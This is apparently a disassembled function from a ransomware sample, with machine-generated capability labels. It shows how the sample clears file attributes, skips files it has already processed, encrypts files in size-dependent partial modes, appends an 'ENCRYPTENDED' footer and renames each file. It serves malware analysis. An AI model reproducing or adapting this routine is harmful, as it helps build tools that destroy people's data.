Function at 0x41b790
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get disk size
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0xc97
push 0
push 0
dec ecx
jne 0x41b799
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.00404c70
lea eax, [ebp - 8]
call fcn.00404c70
lea eax, [ebp - 0xc]
call fcn.00404c70
lea eax, [ebp + 8]
call fcn.00404c70
xor eax, eax
push ebp
push 0x41c6e8
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x40], eax
xor edx, edx
push ebp
push 0x41c49e
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, 0x4241b4
call fcn.00404624
lea edx, [ebp - 0x622a]
mov ecx, dword [0x4241b8]
call fcn.00402844
lea eax, [ebp - 0x6434]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404a60
mov eax, dword [ebp - 0x6434]
call fcn.004049e4
mov ebx, eax
push ebx
call sub.kernel32.dll_GetFileAttributesW
mov esi, eax
cmp esi, 0xffffffff
je 0x41b851
and esi, 0xfffffffe
push esi
lea eax, [ebp - 0x6438]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404a60
push ebx
call sub.kernel32.dll_SetFileAttributesW
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x643c]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404a60
push ebx
call sub.kernel32.dll_CreateFileW
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
jne 0x41bb3c
mov eax, dword [0x422520]
cmp byte [eax], 0
je 0x41ba41
lea eax, [ebp - 0x6448]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404a60
mov edx, dword [ebp - 0x6448]
lea eax, [ebp - 0x6444]
call fcn.004043b8
mov eax, dword [ebp - 0x6444]
lea edx, [ebp - 0x6440]
call fcn.00407774
mov eax, dword [ebp - 0x6440]
lea edx, [ebp - 0x74]
call fcn.00419624
cmp dword [ebp - 0x74], 0
je 0x41bb3c
lea edx, [ebp - 0x644c]
mov eax, dword [ebp - 0x74]
call fcn.00407774
mov eax, dword [ebp - 0x644c]
call fcn.0041b6fc
test al, al
jne 0x41bb3c
mov eax, dword [ebp - 0x74]
call fcn.0041a494
push 0x64
call sub.kernel32.dll_Sleep
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x6450]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404a60
push ebx
call sub.kernel32.dll_CreateFileW
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
jne 0x41bb3c
mov eax, dword [ebp + 8]
xor edx, edx
call fcn.00404b0c
je 0x41ba34
lea eax, [ebp - 0x6454]
mov edx, dword [0x423950]
call fcn.004043b8
lea eax, [ebp - 0x6454]
push eax
lea eax, [ebp - 0x6458]
mov edx, dword [ebp + 8]
call fcn.004043b8
mov edx, dword [ebp - 0x6458]
pop eax
call fcn.004043d4
mov eax, dword [ebp - 0x6454]
call fcn.00407e18
test al, al
je 0x41ba34
lea eax, [ebp - 0x645c]
mov edx, dword [0x423950]
call fcn.004043b8
lea eax, [ebp - 0x645c]
push eax
lea eax, [ebp - 0x6460]
mov edx, dword [ebp + 8]
call fcn.004043b8
mov edx, dword [ebp - 0x6460]
pop eax
call fcn.004043d4
mov edx, dword [ebp - 0x645c]
lea eax, [ebp - 0x63f8]
call fcn.00402d6c
lea eax, [ebp - 0x63f8]
call fcn.00402b08
call fcn.004027b0
push 0x41c700
push dword [ebp - 4]
push dword [ebp - 8]
lea eax, [ebp - 0x6464]
mov edx, 3
call fcn.00404ac4
mov edx, dword [ebp - 0x6464]
lea eax, [ebp - 0x63f8]
call fcn.00404788
call fcn.004030ec
call fcn.004027b0
lea eax, [ebp - 0x63f8]
call fcn.00402e34
call fcn.004027b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
mov eax, dword [ebp + 8]
xor edx, edx
call fcn.00404b0c
je 0x41bb2f
lea eax, [ebp - 0x6468]
mov edx, dword [0x423950]
call fcn.004043b8
lea eax, [ebp - 0x6468]
push eax
lea eax, [ebp - 0x646c]
mov edx, dword [ebp + 8]
call fcn.004043b8
mov edx, dword [ebp - 0x646c]
pop eax
call fcn.004043d4
mov eax, dword [ebp - 0x6468]
call fcn.00407e18
test al, al
je 0x41bb2f
lea eax, [ebp - 0x6470]
mov edx, dword [0x423950]
call fcn.004043b8
lea eax, [ebp - 0x6470]
push eax
lea eax, [ebp - 0x6474]
mov edx, dword [ebp + 8]
call fcn.004043b8
mov edx, dword [ebp - 0x6474]
pop eax
call fcn.004043d4
mov edx, dword [ebp - 0x6470]
lea eax, [ebp - 0x63f8]
call fcn.00402d6c
lea eax, [ebp - 0x63f8]
call fcn.00402b08
call fcn.004027b0
push 0x41c700
push dword [ebp - 4]
push dword [ebp - 8]
lea eax, [ebp - 0x6478]
mov edx, 3
call fcn.00404ac4
mov edx, dword [ebp - 0x6478]
lea eax, [ebp - 0x63f8]
call fcn.00404788
call fcn.004030ec
call fcn.004027b0
lea eax, [ebp - 0x63f8]
call fcn.00402e34
call fcn.004027b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_GetFileSizeEx
cmp dword [ebp - 0x14], 0
jne 0x41bb6b
cmp dword [ebp - 0x18], 0
jne 0x41bb6b
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
mov eax, dword [ebp - 4]
mov bx, word [eax]
cmp bx, 0x5c
je 0x41bb99
lea eax, [ebp - 0x647c]
mov edx, ebx
call fcn.004042fc
mov edx, dword [ebp - 0x647c]
lea eax, [ebp - 0x1c]
mov ecx, 0x41c72c
call fcn.00404418
jmp 0x41bbcf
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 4]
call fcn.004043b8
jmp 0x41bbc2
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004043cc
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x1c]
call fcn.0040462c
mov eax, dword [ebp - 0x1c]
call fcn.0041a7ac
cmp eax, 3
jne 0x41bba6
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004045cc
push eax
call sub.kernel32.dll_GetDiskFreeSpaceExA
mov eax, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
sub eax, 0x6590
sbb edx, 0
cmp edx, 0
jne 0x41bc03
cmp eax, 0
ja 0x41bc1b
jmp 0x41bc05
jg 0x41bc1b
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
cmp byte [0x136664e], 0
jne 0x41bca0
cmp dword [ebp - 0x14], 0
jne 0x41bc32
cmp dword [ebp - 0x18], 0xe
jbe 0x41bca0
jmp 0x41bc34
jle 0x41bca0
mov dword [ebp - 0x60], 0xfffffff2
mov dword [ebp - 0x5c], 0xffffffff
push 2
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_SetFilePointerEx
mov byte [ebp - 0x82], 0
push 0
lea eax, [ebp - 0x3c]
push eax
push 0xe
lea eax, [ebp - 0x82]
push eax
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_ReadFile_1
lea eax, [ebp - 0x82]
mov edx, 0xd
call fcn.0041a810
test al, al
je 0x41bca0
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
mov esi, 5
lea edi, [ebp - 0x6d]
mov eax, pe_nt_image_headers32
call fcn.00402ee8
mov byte [edi], al
inc edi
dec esi
jne 0x41bca8
lea edx, [ebp - 0x641d]
mov eax, 0x423978
mov ecx, 0x20
call fcn.00402844
lea edx, [ebp - 0x63fd]
lea eax, [ebp - 0x6d]
mov ecx, 5
call fcn.00402844
lea ecx, [ebp - 0x648c]
lea eax, [ebp - 0x641d]
mov edx, 0x25
call fcn.00417800
lea eax, [ebp - 0x648c]
lea edx, [ebp - 0x642d]
xor ecx, ecx
call fcn.004177d4
push dword [ebp - 0x14]
push dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.0041a9b4
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
cmp eax, 0x12
ja case.0x41bd26.0
jmp dword [eax*4 + 0x41bd2d]
push 0
push 1
push 0
push 0x3200000
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041ac30
jmp case.0x41bd26.0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041b280
jmp case.0x41bd26.0
push 1
push 0xc350
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041ac30
jmp case.0x41bd26.0
push 1
push 0x80000
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041b108
jmp case.0x41bd26.0
push 1
push 0xc350
push 0
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041ac30
jmp case.0x41bd26.0
push 0x61a8
push 0x61a8
push 0x61a8
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041ae14
jmp case.0x41bd26.0
push 1
push 0x61a8
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041b108
jmp case.0x41bd26.0
push 0x61a8
push 0x61a8
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041ae14
jmp case.0x41bd26.0
push 0x61a8
push 0x61a8
push 0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041ae14
jmp case.0x41bd26.0
push 0x2710
push 0x2710
push 0x2710
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041ae14
jmp case.0x41bd26.0
push 0
push 1
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041b108
jmp case.0x41bd26.0
push 0x61a8
push 0x61a8
push 0x61a8
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041ae14
jmp case.0x41bd26.0
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
push 0x3d090
push 0x3d090
push 0x3d090
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041ae14
jmp case.0x41bd26.0
push 0
push 0x32
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041b108
jmp case.0x41bd26.0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x4a]
push eax
push 9
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x642d]
mov ecx, 0xf
mov eax, dword [ebp - 0x40]
call fcn.0041b280
mov ebx, dword [0x4241b8]
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7b
mov esi, 5
lea edi, [ebp - 0x6d]
inc ebx
mov al, byte [edi]
mov byte [ebp + ebx - 0x622b], al
inc edi
dec esi
jne 0x41c07e
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7d
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7b
inc ebx
mov al, byte [ebp - 0x64]
mov byte [ebp + ebx - 0x622b], al
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7d
push dword [ebp - 0x14]
push dword [ebp - 0x18]
lea eax, [ebp - 0x50]
call fcn.004079ec
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7b
mov eax, dword [ebp - 0x50]
call fcn.004043cc
test eax, eax
jle 0x41c0ed
mov esi, 1
inc ebx
mov edx, dword [ebp - 0x50]
mov dl, byte [edx + esi - 1]
mov byte [ebp + ebx - 0x622b], dl
inc esi
dec eax
jne 0x41c0da
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7d
mov eax, dword [ebp - 0x68]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x50]
call fcn.004079ec
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7b
mov eax, dword [ebp - 0x50]
call fcn.004043cc
test eax, eax
jle 0x41c132
mov esi, 1
inc ebx
mov edx, dword [ebp - 0x50]
mov dl, byte [edx + esi - 1]
mov byte [ebp + ebx - 0x622b], dl
inc esi
dec eax
jne 0x41c11f
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7d
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7b
lea edx, [ebp - 0x50]
mov eax, dword [ebp - 8]
call fcn.0041a614
mov eax, dword [ebp - 0x50]
call fcn.004043cc
test eax, eax
jle 0x41c173
mov esi, 1
inc ebx
mov edx, dword [ebp - 0x50]
mov dl, byte [edx + esi - 1]
mov byte [ebp + ebx - 0x622b], dl
inc esi
dec eax
jne 0x41c160
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7d
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7b
mov esi, 0xa
lea edi, [ebp - 0x4a]
inc ebx
mov al, byte [edi]
mov byte [ebp + ebx - 0x622b], al
inc edi
dec esi
jne 0x41c18d
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7d
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7b
mov eax, dword [0x4241e4]
call fcn.004043cc
test eax, eax
jle 0x41c1d6
mov esi, 1
inc ebx
mov edx, dword [0x4241e4]
mov dl, byte [edx + esi - 1]
mov byte [ebp + ebx - 0x622b], dl
inc esi
dec eax
jne 0x41c1c0
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7d
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7b
inc ebx
mov byte [ebp + ebx - 0x622b], 0x45
inc ebx
mov byte [ebp + ebx - 0x622b], 0x4e
inc ebx
mov byte [ebp + ebx - 0x622b], 0x43
inc ebx
mov byte [ebp + ebx - 0x622b], 0x52
inc ebx
mov byte [ebp + ebx - 0x622b], 0x59
inc ebx
mov byte [ebp + ebx - 0x622b], 0x50
inc ebx
mov byte [ebp + ebx - 0x622b], 0x54
inc ebx
mov byte [ebp + ebx - 0x622b], 0x45
inc ebx
mov byte [ebp + ebx - 0x622b], 0x4e
inc ebx
mov byte [ebp + ebx - 0x622b], 0x44
inc ebx
mov byte [ebp + ebx - 0x622b], 0x45
inc ebx
mov byte [ebp + ebx - 0x622b], 0x44
inc ebx
mov byte [ebp + ebx - 0x622b], 0x7d
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
push 2
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_SetFilePointerEx
push 0
lea eax, [ebp - 0x3c]
push eax
push ebx
lea eax, [ebp - 0x622a]
push eax
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x6490]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404a60
mov eax, dword [ebp - 0x6490]
call fcn.004049e4
mov ebx, eax
push ebx
call sub.kernel32.dll_CreateFileW
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffff
jne 0x41c2ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_GetFileSizeEx
cmp dword [ebp - 0x14], 0
jne 0x41c31b
cmp dword [ebp - 0x18], 0
jne 0x41c31b
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
cmp dword [ebp - 0x14], 0
jne 0x41c329
cmp dword [ebp - 0x18], 0xe
jae 0x41c341
jmp 0x41c32b
jge 0x41c341
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
mov dword [ebp - 0x60], 0xfffffff2
mov dword [ebp - 0x5c], 0xffffffff
push 2
lea eax, [ebp - 0x60]
push eax
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_SetFilePointerEx
mov byte [ebp - 0x82], 0
push 0
lea eax, [ebp - 0x3c]
push eax
push 0xe
lea eax, [ebp - 0x82]
push eax
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_ReadFile_1
mov eax, dword [ebp - 0x40]
push eax
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x82]
mov edx, 0xd
call fcn.0041a810
test al, al
jne 0x41c3ad
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
cmp dword [0x42396c], 0
jne 0x41c405
push 0x41c738
push dword [0x423968]
push 0x41c744
push dword [0x423958]
push 0x41c750
lea eax, [ebp - 0x6498]
mov edx, 5
call fcn.0040448c
mov edx, dword [ebp - 0x6498]
lea eax, [ebp - 0x6494]
call fcn.004049d4
mov ecx, dword [ebp - 0x6494]
lea eax, [ebp - 0x54]
mov edx, dword [ebp - 8]
call fcn.00404a60
jmp 0x41c45d
push 0x41c738
push dword [0x423968]
push 0x41c75c
push dword [0x42396c]
push 0x41c744
push dword [0x423958]
push 0x41c750
lea eax, [ebp - 0x64a0]
mov edx, 7
call fcn.0040448c
mov edx, dword [ebp - 0x64a0]
lea eax, [ebp - 0x649c]
call fcn.004049d4
mov ecx, dword [ebp - 0x649c]
lea eax, [ebp - 0x54]
mov edx, dword [ebp - 8]
call fcn.00404a60
lea eax, [ebp - 0x64a4]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 4]
call fcn.00404a60
mov eax, dword [ebp - 0x64a4]
call fcn.004049e4
push eax
lea eax, [ebp - 0x64a8]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.00404a60
push ebx
call sub.kernel32.dll_MoveFileW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41c5c7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41c6f2
lea eax, [ebp - 0x64bc]
call fcn.0040482c
lea eax, [ebp - 0x64b8]
mov edx, 4
call fcn.00404128
lea eax, [ebp - 0x64a8]
mov edx, 2
call fcn.00404844
lea eax, [ebp - 0x64a0]
call fcn.00404104
lea eax, [ebp - 0x649c]
call fcn.0040482c
lea eax, [ebp - 0x6498]
call fcn.00404104
lea eax, [ebp - 0x6494]
mov edx, 2
call fcn.00404844
lea eax, [ebp - 0x647c]
call fcn.00404104
lea eax, [ebp - 0x6478]
call fcn.0040482c
lea eax, [ebp - 0x6474]
mov edx, 4
call fcn.00404128
lea eax, [ebp - 0x6464]
call fcn.0040482c
lea eax, [ebp - 0x6460]
mov edx, 4
call fcn.00404128
lea eax, [ebp - 0x6450]
call fcn.0040482c
lea eax, [ebp - 0x644c]
call fcn.00404104
lea eax, [ebp - 0x6448]
call fcn.0040482c
lea eax, [ebp - 0x6444]
mov edx, 2
call fcn.00404128
lea eax, [ebp - 0x643c]
mov edx, 3
call fcn.00404844
lea eax, [ebp - 0x74]
call fcn.00404104
lea eax, [ebp - 0x54]
call fcn.0040482c
lea eax, [ebp - 0x50]
call fcn.00404104
lea eax, [ebp - 0x1c]
call fcn.00404104
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404844
lea eax, [ebp + 8]
call fcn.0040482c
ret